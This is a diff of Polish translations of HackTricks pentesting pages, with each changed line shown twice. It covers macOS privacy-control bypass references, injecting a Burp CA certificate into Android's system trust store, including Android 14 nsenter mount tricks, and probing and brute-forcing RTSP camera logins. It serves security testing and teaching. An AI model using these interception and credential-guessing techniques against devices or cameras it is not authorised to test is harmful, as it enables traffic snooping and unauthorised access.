W kilku przypadkach pliki przechowują wrażliwe informacje, takie jak emaile, numery telefonów, wiadomości... w niechronionych lokalizacjach (co stanowi lukę w zabezpieczeniach Apple).
<figure><img src="../../../../../.gitbook/assets/image (4) (3).png" alt=""><figcaption></figcaption></figure>
## Sztuczne kliknięcia
## Kliknięcia syntetyczne
To już nie działa, ale [**działało w przeszłości**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
<figure><img src="../../../../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
Inny sposób przy użyciu [**zdarzeń CoreGraphics**](https://objectivebythesea.org/v2/talks/OBTS\_v2\_Wardle.pdf):
Inny sposób korzystając z [**zdarzeń CoreGraphics**](https://objectivebythesea.org/v2/talks/OBTS\_v2\_Wardle.pdf):
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
## Odnośniki
* [**https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8**](https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8)
* [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)
* [**20+ Sposobów na Ominięcie Mechanizmów Prywatności w macOS**](https://www.youtube.com/watch?v=W9GxnP8c8FU)
* [**Knockout Win Against TCC - 20+ NEW Ways to Bypass Your MacOS Privacy Mechanisms**](https://www.youtube.com/watch?v=a9hsxPdRxsY)
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
* [**20+ Sposobów na Ominięcie Mechanizmów Prywatności macOS**](https://www.youtube.com/watch?v=W9GxnP8c8FU)
* [**Wygrana przez nokaut z TCC - 20+ NOWYCH Sposobów na Ominięcie Mechanizmów Prywatności w MacOS**](https://www.youtube.com/watch?v=a9hsxPdRxsY)

File diff suppressed because it is too large Load diff

View file

@ -1,4 +1,4 @@
# Instalacja certyfikatu Burp
# Zainstaluj certyfikat Burp
<details>
@ -6,22 +6,22 @@
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) **i** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **repozytoriów GitHub.**
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## Na maszynie wirtualnej
Po pierwsze, musisz pobrać certyfikat Der z Burp. Możesz to zrobić w _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_
Po pierwsze musisz pobrać certyfikat Der z Burp. Możesz to zrobić w _**Proxy**_ --> _**Opcje**_ --> _**Importuj / Eksportuj certyfikat CA**_
![](<../../.gitbook/assets/image (367).png>)
**Eksportuj certyfikat w formacie Der** i przekształć go w formę, którą **Android** będzie w stanie **zrozumieć**. Zauważ, że **aby skonfigurować certyfikat burp na maszynie Android w AVD**, musisz **uruchomić** tę maszynę **z opcją** **`-writable-system`**.\
Na przykład, możesz uruchomić tak:
Na przykład możesz uruchomić tak:
{% code overflow="wrap" %}
```bash
@ -29,7 +29,7 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht
```
{% endcode %}
Następnie, aby **skonfigurować certyfikat Burp**, wykonaj następujące kroki:
Następnie, aby **skonfigurować certyfikat Burp**, wykonaj:
{% code overflow="wrap" %}
```bash
@ -44,23 +44,23 @@ adb reboot #Now, reboot the machine
```
{% endcode %}
Po zakończeniu **ponownego uruchamiania urządzenia** certyfikat Burp będzie używany przez nie!
Po zakończeniu **ponownego uruchomienia urządzenia** certyfikat Burp będzie używany przez nie!
## Używanie Magisc
## Korzystanie z Magisc
Jeśli **zrootowałeś swoje urządzenie za pomocą Magisc** (może to być emulator) i **nie możesz** wykonać poprzednich **kroków** w celu zainstalowania certyfikatu Burp, ponieważ **system plików jest tylko do odczytu** i nie można go zamontować jako zapisywalny, istnieje inny sposób.
Jeśli **zrootowałeś swoje urządzenie za pomocą Magisc** (być może emulatora) i **nie możesz wykonać** poprzednich **kroków** w celu zainstalowania certyfikatu Burp, ponieważ **system plików jest tylko do odczytu** i nie możesz go ponownie zamontować jako zapisywalny, istnieje inny sposób.
Jak wyjaśniono w [**tym filmie**](https://www.youtube.com/watch?v=qQicUW0svB8), musisz:
Wyjaśniono to w [**tym filmie**](https://www.youtube.com/watch?v=qQicUW0svB8) musisz:
1. **Zainstalować certyfikat CA**: Po prostu **przeciągnij i upuść** certyfikat Burp w formacie DER, **zmieniając rozszerzenie** na `.crt` na urządzeniu mobilnym, aby był przechowywany w folderze Pobrane, a następnie przejdź do `Zainstaluj certyfikat` -> `Certyfikat CA`
1. **Zainstaluj certyfikat CA**: Po prostu **przeciągnij i upuść** certyfikat Burp w formacie DER, **zmieniając rozszerzenie** na `.crt` w telefonie komórkowym, aby był przechowywany w folderze Pobrane i przejdź do `Zainstaluj certyfikat` -> `Certyfikat CA`
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
* Sprawdź, czy certyfikat został poprawnie zapisany, przechodząc do `Zaufane poświadczenia` -> `UŻYTKOWNIK`
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
2. **Uczyń go zaufanym przez system**: Pobierz moduł Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (plik .zip), **przeciągnij i upuść go** na telefonie, przejdź do aplikacji **Magics** na telefonie, do sekcji **`Moduły`**, kliknij **`Zainstaluj z pamięci`**, wybierz moduł `.zip` i po zainstalowaniu **ponownie uruchom** telefon:
2. **Zrób go zaufanym przez system**: Pobierz moduł Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (plik .zip), **przeciągnij i upuść** go w telefonie, przejdź do aplikacji Magics w telefonie do sekcji **`Moduły`**, kliknij na **`Zainstaluj z pamięci`**, wybierz moduł `.zip` i po zainstalowaniu **ponownie uruchom** telefon:
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
@ -70,13 +70,13 @@ Jak wyjaśniono w [**tym filmie**](https://www.youtube.com/watch?v=qQicUW0svB8),
## Po Androidzie 14
W najnowszej wersji Androida 14 zaobserwowano znaczącą zmianę w obsłudze certyfikatów autoryzujących (CA) zaufanych przez system. Wcześniej te certyfikaty były przechowywane w **`/system/etc/security/cacerts/`**, dostępne i modyfikowalne przez użytkowników posiadających uprawnienia root, co umożliwiało natychmiastowe zastosowanie ich w całym systemie. Jednak w przypadku Androida 14 lokalizacja przechowywania została przeniesiona do **`/apex/com.android.conscrypt/cacerts`**, katalogu w ścieżce **`/apex`**, który jest niezmienialny z natury.
W najnowszej wersji Androida 14 zaobserwowano znaczną zmianę w obsłudze certyfikatów urzędów certyfikacji (CA) zaufanych przez system. Wcześniej te certyfikaty były przechowywane w **`/system/etc/security/cacerts/`**, dostępne i modyfikowalne przez użytkowników z uprawnieniami roota, co pozwalało na natychmiastowe zastosowanie ich w całym systemie. Jednak wraz z Androidem 14 lokalizacja przechowywania została przeniesiona do **`/apex/com.android.conscrypt/cacerts`**, katalogu w ścieżce **`/apex`**, który jest z natury niemutowalny.
Próby ponownego zamontowania ścieżki **APEX cacerts** jako zapisywalnej kończą się niepowodzeniem, ponieważ system nie zezwala na takie operacje. Nawet próby odmontowania lub nałożenia na katalog tymczasowego systemu plików (tmpfs) nie omijają niezmienności; aplikacje nadal mają dostęp do oryginalnych danych certyfikatów bez względu na zmiany na poziomie systemu plików. Ta odporność wynika z konfiguracji montowania **`/apex`** z propagacją PRIVATE, zapewniającą, że wszelkie modyfikacje w katalogu **`/apex`** nie wpływają na inne procesy.
Próby ponownego zamontowania ścieżki **APEX cacerts** jako zapisywalnej kończą się niepowodzeniem, ponieważ system nie zezwala na takie operacje. Nawet próby odmontowania lub nałożenia na katalog tymczasowego systemu plików (tmpfs) nie omijają niemutowalności; aplikacje nadal uzyskują dostęp do oryginalnych danych certyfikatów bez względu na zmiany na poziomie systemu plików. Ta odporność wynika z konfiguracji montowania **`/apex`** z propagacją PRIVATE, zapewniającą, że wszelkie modyfikacje w katalogu **`/apex`** nie wpływają na inne procesy.
Inicjalizacja Androida polega na uruchomieniu procesu `init`, który przy uruchamianiu systemu operacyjnego inicjuje również proces Zygote. Proces ten jest odpowiedzialny za uruchamianie procesów aplikacji w nowej przestrzeni nazw montowania, która obejmuje prywatne montowanie **`/apex`**, izolując tym samym zmiany w tym katalogu od innych procesów.
Inicjalizacja Androida polega na procesie `init`, który po uruchomieniu systemu operacyjnego inicjuje również proces Zygote. Proces ten odpowiada za uruchamianie procesów aplikacji z nową przestrzenią montowania, która obejmuje prywatne montowanie **`/apex`**, izolując zmiany w tym katalogu od innych procesów.
Mimo to istnieje obejście dla tych, którzy muszą modyfikować certyfikaty CA zaufane przez system w katalogu **`/apex`**. Polega to na ręcznym ponownym zamontowaniu **`/apex`**, aby usunąć propagację PRIVATE i umożliwić zapisywanie. Proces ten obejmuje skopiowanie zawartości **`/apex/com.android.conscrypt`** do innego miejsca, odmontowanie katalogu **`/apex/com.android.conscrypt`** w celu usunięcia ograniczenia tylko do odczytu, a następnie przywrócenie zawartości do jej pierwotnego miejsca w **`/apex`**. Ten sposób wymaga szybkiego działania, aby uniknąć awarii systemu. Aby zapewnić zastosowanie tych zmian w całym systemie, zaleca się ponowne uruchomienie `system_server`, co skutkuje ponownym uruchomieniem wszystkich aplikacji i przywróceniem systemu do spójnego stanu.
Mimo to istnieje sposób obejścia dla osób potrzebujących modyfikować certyfikaty CA zaufane przez system w katalogu **`/apex`**. Polega to na ręcznym ponownym zamontowaniu **`/apex`**, aby usunąć propagację PRIVATE, co czyni go zapisywalnym. Proces ten obejmuje skopiowanie zawartości **`/apex/com.android.conscrypt`** do innego miejsca, odmontowanie katalogu **`/apex/com.android.conscrypt`** w celu usunięcia ograniczenia tylko do odczytu, a następnie przywrócenie zawartości do ich pierwotnego miejsca w **`/apex`**. Ten sposób postępowania wymaga szybkiej reakcji, aby uniknąć awarii systemu. Aby zapewnić systemowe zastosowanie tych zmian, zaleca się ponowne uruchomienie `system_server`, co skutecznie restartuje wszystkie aplikacje i przywraca system do spójnego stanu.
```bash
# Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore.
@ -134,39 +134,25 @@ wait # Launched in parallel - wait for completion here
echo "System certificate injected"
```
### Montowanie katalogu za pomocą NSEnter
### Montowanie przez NSEnter
1. **Konfiguracja zapisywalnego katalogu**: Na początku, ustanawiany jest zapisywalny katalog poprzez zamontowanie `tmpfs` nad istniejącym katalogiem certyfikatów systemowych nie-APEX. Można to osiągnąć za pomocą następującej komendy:
1. **Konfigurowanie katalogu z możliwością zapisu**: W pierwszej kolejności, ustanawiany jest katalog z możliwością zapisu poprzez zamontowanie `tmpfs` nad istniejącym katalogiem certyfikatów systemowych non-APEX. Można to osiągnąć za pomocą poniższej komendy:
```bash
mount -t tmpfs tmpfs /system/etc/security/cacerts
```
2. **Przygotowanie certyfikatów CA**: Po skonfigurowaniu katalogu z możliwością zapisu, należy skopiować do niego zamierzone certyfikaty CA. Może to wymagać skopiowania domyślnych certyfikatów z `/apex/com.android.conscrypt/cacerts/`. Ważne jest odpowiednie dostosowanie uprawnień i etykiet SELinux tych certyfikatów.
3. **Bind Mounting dla Zygote**: Korzystając z `nsenter`, wchodzimy do przestrzeni nazw montowania Zygote. Zygote, będący procesem odpowiedzialnym za uruchamianie aplikacji Androida, wymaga tego kroku, aby zapewnić, że wszystkie aplikacje uruchomione od tego momentu będą korzystać z nowo skonfigurowanych certyfikatów CA. Używane polecenie to:
2. **Przygotowanie certyfikatów CA**: Po skonfigurowaniu katalogu z możliwością zapisu, certyfikaty CA, które zamierza się użyć, powinny zostać skopiowane do tego katalogu. Może to wymagać skopiowania domyślnych certyfikatów z `/apex/com.android.conscrypt/cacerts/`. Istotne jest odpowiednie dostosowanie uprawnień i etykiet SELinux tych certyfikatów.
3. **Bind Mounting dla Zygote**: Korzystając z `nsenter`, wchodzi się do przestrzeni nazw montowania Zygote. Zygote, będąc procesem odpowiedzialnym za uruchamianie aplikacji na Androidzie, wymaga tego kroku, aby zapewnić, że wszystkie aplikacje uruchomione od tego momentu będą korzystać z nowo skonfigurowanych certyfikatów CA. Używane polecenie to:
```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
To zapewnia, że każda nowa uruchomiona aplikacja będzie przestrzegać zaktualizowanego ustawienia certyfikatów CA.
To zapewnia, że każda nowa aplikacja rozpoczęta będzie przestrzegać zaktualizowanej konfiguracji certyfikatów CA.
4. **Zastosowanie zmian do działających aplikacji**: Aby zastosować zmiany do już uruchomionych aplikacji, ponownie używamy `nsenter`, aby wejść do przestrzeni nazw każdej aplikacji indywidualnie i wykonać podobne zamontowanie. Wymagane polecenie to:
4. **Zastosowanie zmian do działających aplikacji**: Aby zastosować zmiany do już działających aplikacji, ponownie używany jest `nsenter`, aby wejść do przestrzeni nazw każdej aplikacji indywidualnie i wykonać podobne podłączenie montażowe. Wymagane polecenie to:
```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
5. **Alternatywne podejście - miękkie ponowne uruchomienie**: Alternatywna metoda polega na wykonaniu bind mount na procesie `init` (PID 1), a następnie na miękkim ponownym uruchomieniu systemu operacyjnego za pomocą poleceń `stop && start`. To podejście propaguje zmiany we wszystkich przestrzeniach nazw, eliminując konieczność indywidualnego adresowania każdej uruchomionej aplikacji. Jednak ta metoda jest zazwyczaj mniej preferowana ze względu na niedogodność ponownego uruchamiania systemu.
5. **Alternatywne podejście - Miękkie ponowne uruchomienie**: Alternatywna metoda polega na wykonaniu bind mount na procesie `init` (PID 1), a następnie na miękkim ponownym uruchomieniu systemu operacyjnego za pomocą poleceń `stop && start`. To podejście spowoduje propagację zmian we wszystkich przestrzeniach nazw, eliminując konieczność indywidualnego adresowania każdej działającej aplikacji. Jednakże, ta metoda jest zazwyczaj mniej preferowana ze względu na niedogodność ponownego uruchamiania.
## Referencje
* [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -2,15 +2,15 @@
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
</details>
@ -18,32 +18,32 @@ Inne sposoby wsparcia HackTricks:
Z [wikipedia](https://en.wikipedia.org/wiki/Real\_Time\_Streaming\_Protocol):
> **Real Time Streaming Protocol** (**RTSP**) to protokół kontroli sieciowej zaprojektowany do użytku w systemach rozrywkowych i komunikacyjnych w celu kontrolowania serwerów strumieniowych. Protokół jest używany do ustanawiania i kontrolowania sesji multimedialnych między punktami końcowymi. Klienci serwerów multimedialnych wydają polecenia w stylu VHS, takie jak odtwarzanie, nagrywanie i pauza, aby umożliwić kontrolę w czasie rzeczywistym nad strumieniem multimedialnym z serwera do klienta (Video On Demand) lub od klienta do serwera (Nagrywanie głosu).
> **Protokół transmisji strumieniowej w czasie rzeczywistym** (**RTSP**) to protokół sterowania sieciowego zaprojektowany do użytku w systemach rozrywkowych i komunikacyjnych do sterowania serwerami strumieniowymi. Protokół jest używany do ustanawiania i kontrolowania sesji multimedialnych między punktami końcowymi. Klienci serwerów multimedialnych wydają polecenia w stylu VHS, takie jak odtwarzanie, nagrywanie i pauza, aby ułatwić kontrolę w czasie rzeczywistym nad strumieniem multimedialnym z serwera do klienta (wideo na żądanie) lub od klienta do serwera (nagrywanie głosu).
>
> Przesyłanie strumieniowych danych nie jest zadaniem RTSP. Większość serwerów RTSP używa protokołu Real-time Transport Protocol (RTP) w połączeniu z protokołem Real-time Control Protocol (RTCP) do dostarczania strumieni multimedialnych. Jednak niektórzy producenci stosują własne protokoły transportowe. Na przykład oprogramowanie serwera RTSP firmy RealNetworks używało również własnego protokołu transportowego Real Data Transport (RDT).
> Same przesyłanie danych strumieniowych nie jest zadaniem RTSP. Większość serwerów RTSP używa Protokołu Transportu w Czasie Rzeczywistym (RTP) w połączeniu z Protokołem Kontroli w Czasie Rzeczywistym (RTCP) do dostarczania strumieni multimedialnych. Jednak niektórzy dostawcy implementują własne protokoły transportowe. Na przykład oprogramowanie serwera RTSP od RealNetworks używało również własnego własnego protokołu transportu danych (RDT).
**Domyślne porty:** 554,8554
```
PORT STATE SERVICE
554/tcp open rtsp
```
## Kluczowe informacje
## Kluczowe szczegóły
**RTSP** jest podobny do HTTP, ale został zaprojektowany specjalnie do strumieniowania mediów. Jest zdefiniowany w prostym specyfikacji, którą można znaleźć tutaj:
**RTSP** jest podobny do HTTP, ale zaprojektowany specjalnie do strumieniowania mediów. Jest zdefiniowany w prostym specyfikacji, którą można znaleźć tutaj:
[RTSP - RFC2326](https://tools.ietf.org/html/rfc2326)
[RTSP RFC2326](https://tools.ietf.org/html/rfc2326)
Urządzenia mogą umożliwiać dostęp **bez uwierzytelnienia** lub **uwierzytelniony**. Aby to sprawdzić, wysyłane jest żądanie "DESCRIBE". Poniżej przedstawiono podstawowy przykład:
Urządzenia mogą zezwalać na dostęp **nieuwierzytelniony** lub **uwierzytelniony**. Aby to sprawdzić, wysyłany jest żądanie "DESCRIBE". Poniżej przedstawiono podstawowy przykład:
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\n`
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r`
Pamiętaj, że poprawne formatowanie obejmuje podwójne "\r\n" dla spójnej odpowiedzi. Odpowiedź "200 OK" oznacza **dostęp bez uwierzytelnienia**, podczas gdy "401 Unauthorized" sygnalizuje konieczność uwierzytelnienia, ujawniając, czy wymagane jest uwierzytelnienie **Basic** lub **Digest**.
Pamiętaj, że poprawne formatowanie obejmuje podwójne "\r\n" dla spójnej odpowiedzi. Odpowiedź "200 OK" oznacza **dostęp nieuwierzytelniony**, podczas gdy "401 Unauthorized" sygnalizuje konieczność uwierzytelnienia, ujawniając, czy wymagane jest uwierzytelnienie **Basic** lub **Digest**.
W przypadku **uwierzytelnienia Basic** kodujesz nazwę użytkownika i hasło w base64 i dołączasz je do żądania w ten sposób:
Dla uwierzytelnienia **Basic**, kodujesz nazwę użytkownika i hasło w base64 i dołączasz je do żądania w ten sposób:
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n`
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r`
Ten przykład używa poświadczeń "admin" i "1234". Oto **skrypt Pythona**, który wysyła takie żądanie:
Ten przykład używa "admin" i "1234" jako poświadczeń. Oto **skrypt Pythona** do wysłania takiego żądania:
```python
import socket
req = "DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n\r\n"
@ -53,48 +53,48 @@ s.sendall(req)
data = s.recv(1024)
print(data)
```
**Podstawowa autoryzacja** jest prostsza i preferowana. **Autoryzacja digest** wymaga ostrożnego obchodzenia się z danymi uwierzytelniającymi dostarczonymi w odpowiedzi "401 Unauthorized".
Ten przegląd upraszcza proces dostępu do strumieni RTSP, skupiając się na **podstawowej autoryzacji** ze względu na jej prostotę i praktyczność przy początkowych próbach.
**Podstawowa autoryzacja** jest prostsza i preferowana. **Autoryzacja digest** wymaga ostrożnego obchodzenia się z danymi uwierzytelniającymi podanymi w odpowiedzi "401 Unauthorized".
To przegląd upraszcza proces dostępu do strumieni RTSP, skupiając się na **podstawowej autoryzacji** ze względu na jej prostotę i praktyczność podczas pierwszych prób.
## Wyliczanie
Pobierzmy informacje na temat obsługiwanych metod i adresów URL oraz spróbujmy siłowo zdobyć dostęp (jeśli jest to konieczne), aby uzyskać dostęp do zawartości.
Pobierzmy informacje na temat obsługiwanych metod i adresów URL oraz spróbujmy siłowo uzyskać dostęp (jeśli konieczne) do treści.
```bash
nmap -sV --script "rtsp-*" -p <PORT> <IP>
```
### [Brute Force](../generic-methodologies-and-resources/brute-force.md#rtsp)
### [Atak Brute Force](../generic-methodologies-and-resources/brute-force.md#rtsp)
### **Inne przydatne programy**
Do przeprowadzenia ataku brute force: [https://github.com/Tek-Security-Group/rtsp\_authgrinder](https://github.com/Tek-Security-Group/rtsp\_authgrinder)
Do ataku brute force: [https://github.com/Tek-Security-Group/rtsp\_authgrinder](https://github.com/Tek-Security-Group/rtsp\_authgrinder)
[**Cameradar**](https://github.com/Ullaakut/cameradar)
* Wykrywa otwarte hosty RTSP na dowolnym dostępnym celu
* Pobiera ich publiczne informacje (nazwa hosta, port, model kamery itp.)
* Uruchamia automatyczne ataki słownikowe, aby uzyskać ścieżkę strumienia (na przykład /live.sdp)
* Uruchamia automatyczne ataki słownikowe, aby uzyskać nazwę użytkownika i hasło do kamer
* Generuje miniatury, aby sprawdzić, czy strumienie są poprawne i szybko zobaczyć ich zawartość
* Pobiera ich publiczne informacje (nazwę hosta, port, model kamery, itp.)
* Uruchamia zautomatyzowane ataki słownikowe, aby uzyskać ścieżkę strumienia (na przykład /live.sdp)
* Uruchamia zautomatyzowane ataki słownikowe, aby uzyskać nazwę użytkownika i hasło do kamer
* Generuje miniatury, aby sprawdzić, czy strumienie są ważne i szybko podejrzeć ich zawartość
* Próbuje utworzyć potok Gstreamer, aby sprawdzić, czy są poprawnie zakodowane
* Wyświetla podsumowanie wszystkich informacji, które Cameradar mógł uzyskać
## Odwołania
## Referencje
* [https://en.wikipedia.org/wiki/Real\_Time\_Streaming\_Protocol](https://en.wikipedia.org/wiki/Real\_Time\_Streaming\_Protocol)
* [http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/](http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/)
* [https://github.com/Ullaakut/cameradar](https://github.com/Ullaakut/cameradar)
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
